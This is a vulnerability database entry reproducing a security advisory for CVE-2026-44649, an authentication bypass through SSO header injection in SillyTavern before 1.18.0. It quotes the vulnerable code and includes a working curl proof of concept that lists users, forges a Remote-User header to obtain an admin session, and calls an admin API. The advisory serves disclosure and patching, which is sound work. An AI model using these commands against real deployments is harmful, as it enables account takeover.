GHSA-GXX6-H3G6-VWJH
Vulnerability from github – Published: 2026-05-12 22:23 – Updated: 2026-06-09 10:32Resolution
SillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user's needs.
Documentation: https://docs.sillytavern.app/administration/sso/
Summary
SillyTavern accepts Remote-User (Authelia) and X-Authentik-Username (Authentik) HTTP
headers to automatically log in users when SSO is configured. There is no validation that
these headers originate from a trusted reverse proxy. Any network client that can reach
the SillyTavern port directly can inject these headers and authenticate as any user,
including administrators, without a password. This vulnerability is exploitable only when sso.autheliaAuth: true or
sso.authentikAuth: true is set in config.yaml (both default to false).
Detials
SillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the
tryAutoLogin function (called on every request to /login) invokes headerUserLogin,
which reads an HTTP header set by the upstream proxy and automatically creates an
authenticated session for the matching user:
src/users.js:779-801:
async function headerUserLogin(request, header = 'Remote-User') {
if (!request.session) { return false; }
const remoteUser = request.get(header); // reads any header from any client
if (!remoteUser) { return false; }
const userHandles = await getAllUserHandles();
for (const userHandle of userHandles) {
if (remoteUser.toLowerCase() === userHandle) {
const user = await storage.getItem(toKey(userHandle));
if (user && user.enabled) {
request.session.handle = userHandle;
return true;
}
}
}
return false;
}
request.get(header) is Express's wrapper for req.headers[name.toLowerCase()].
Express does not distinguish between headers set by a trusted upstream proxy and headers
injected by the end client. Without an IP allowlist check, any client can set
Remote-User: and receive an authenticated session cookie.
User Enumeration Pre-Condition
The /api/users/list endpoint is registered before requireLoginMiddleware in
src/server-main.js:236, making it publicly accessible without authentication:
src/server-main.js:236,239:
app.use('/api/users', usersPublicRouter); // line 236 (public)
app.use(requireLoginMiddleware); // line 239 (auth gate)
src/endpoints/users-public.js:26-57:
router.post('/list', async (_request, response) => {
if (DISCREET_LOGIN) { return response.sendStatus(204); }
const users = await storage.values(x => x.key.startsWith(KEY_PREFIX));
return response.json(viewModels); // returns handle, name, avatar, admin, password flags
});
This allows an attacker to enumerate all user handles (including admin handles) without any prior credentials.
PoC
TARGET="http://localhost:8000"
# enumerate users
curl -s -X POST "$TARGET/api/users/list" -H "Content-Type: application/json" -d '{}'
# inject Remote-User header, receive authsession
curl -s -L \
-H "Remote-User: admin-user" \
-c /tmp/st-session.txt \
"$TARGET/login"
# obtain CSRF token, call admin API
TOKEN=$(curl -s -b /tmp/st-session.txt "$TARGET/csrf-token" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
curl -s -X POST "$TARGET/api/users/admin/get" \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: $TOKEN" \
-b /tmp/st-session.txt \
-d '{}'
Impact
An account takeover, allowing an attacker to do anything a legitimately authorized user can do.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.17.0"
},
"package": {
"ecosystem": "npm",
"name": "sillytavern"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44649"
],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-306",
"CWE-346",
"CWE-807"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-12T22:23:30Z",
"nvd_published_at": "2026-05-29T19:16:24Z",
"severity": "CRITICAL"
},
"details": "## Resolution\n\nSillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user\u0027s needs.\n\nDocumentation: https://docs.sillytavern.app/administration/sso/\n\n## Summary\n\nSillyTavern accepts `Remote-User` (Authelia) and `X-Authentik-Username` (Authentik) HTTP\nheaders to automatically log in users when SSO is configured. There is no validation that\nthese headers originate from a trusted reverse proxy. Any network client that can reach\nthe SillyTavern port directly can inject these headers and authenticate as any user,\nincluding administrators, without a password. This vulnerability is exploitable only when `sso.autheliaAuth: true` or\n`sso.authentikAuth: true` is set in `config.yaml` (both default to `false`).\n\n### Detials\n\nSillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the\n`tryAutoLogin` function (called on every request to `/login`) invokes `headerUserLogin`,\nwhich reads an HTTP header set by the upstream proxy and automatically creates an\nauthenticated session for the matching user:\n\n`src/users.js:779-801`:\n\n```js\nasync function headerUserLogin(request, header = \u0027Remote-User\u0027) {\n if (!request.session) { return false; }\n\n const remoteUser = request.get(header); // reads any header from any client\n if (!remoteUser) { return false; }\n\n const userHandles = await getAllUserHandles();\n for (const userHandle of userHandles) {\n if (remoteUser.toLowerCase() === userHandle) {\n const user = await storage.getItem(toKey(userHandle));\n if (user \u0026\u0026 user.enabled) {\n request.session.handle = userHandle; \n return true;\n }\n }\n }\n return false;\n}\n```\n\n`request.get(header)` is Express\u0027s wrapper for `req.headers[name.toLowerCase()]`.\nExpress does not distinguish between headers set by a trusted upstream proxy and headers\ninjected by the end client. Without an IP allowlist check, any client can set\n`Remote-User: ` and receive an authenticated session cookie.\n\n### User Enumeration Pre-Condition\n\nThe `/api/users/list` endpoint is registered before `requireLoginMiddleware` in\n`src/server-main.js:236`, making it publicly accessible without authentication:\n\n`src/server-main.js:236,239`:\n```js\napp.use(\u0027/api/users\u0027, usersPublicRouter); // line 236 (public)\napp.use(requireLoginMiddleware); // line 239 (auth gate)\n```\n\n`src/endpoints/users-public.js:26-57`:\n```js\nrouter.post(\u0027/list\u0027, async (_request, response) =\u003e {\n if (DISCREET_LOGIN) { return response.sendStatus(204); }\n const users = await storage.values(x =\u003e x.key.startsWith(KEY_PREFIX));\n return response.json(viewModels); // returns handle, name, avatar, admin, password flags\n});\n```\n\nThis allows an attacker to enumerate all user handles (including admin handles) without\nany prior credentials.\n\n## PoC\n\n```bash\nTARGET=\"http://localhost:8000\"\n\n# enumerate users\ncurl -s -X POST \"$TARGET/api/users/list\" -H \"Content-Type: application/json\" -d \u0027{}\u0027\n\n# inject Remote-User header, receive authsession\ncurl -s -L \\\n -H \"Remote-User: admin-user\" \\\n -c /tmp/st-session.txt \\\n \"$TARGET/login\"\n\n\n# obtain CSRF token, call admin API\nTOKEN=$(curl -s -b /tmp/st-session.txt \"$TARGET/csrf-token\" | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\ncurl -s -X POST \"$TARGET/api/users/admin/get\" \\\n -H \"Content-Type: application/json\" \\\n -H \"X-CSRF-Token: $TOKEN\" \\\n -b /tmp/st-session.txt \\\n -d \u0027{}\u0027\n```\n\n---\n\n## Impact\n\nAn account takeover, allowing an attacker to do anything a legitimately authorized user can do.",
"id": "GHSA-gxx6-h3g6-vwjh",
"modified": "2026-06-09T10:32:08Z",
"published": "2026-05-12T22:23:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-gxx6-h3g6-vwjh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44649"
},
{
"type": "PACKAGE",
"url": "https://github.com/SillyTavern/SillyTavern"
},
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SillyTavern has Authentication Bypass via SSO Header Injection"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.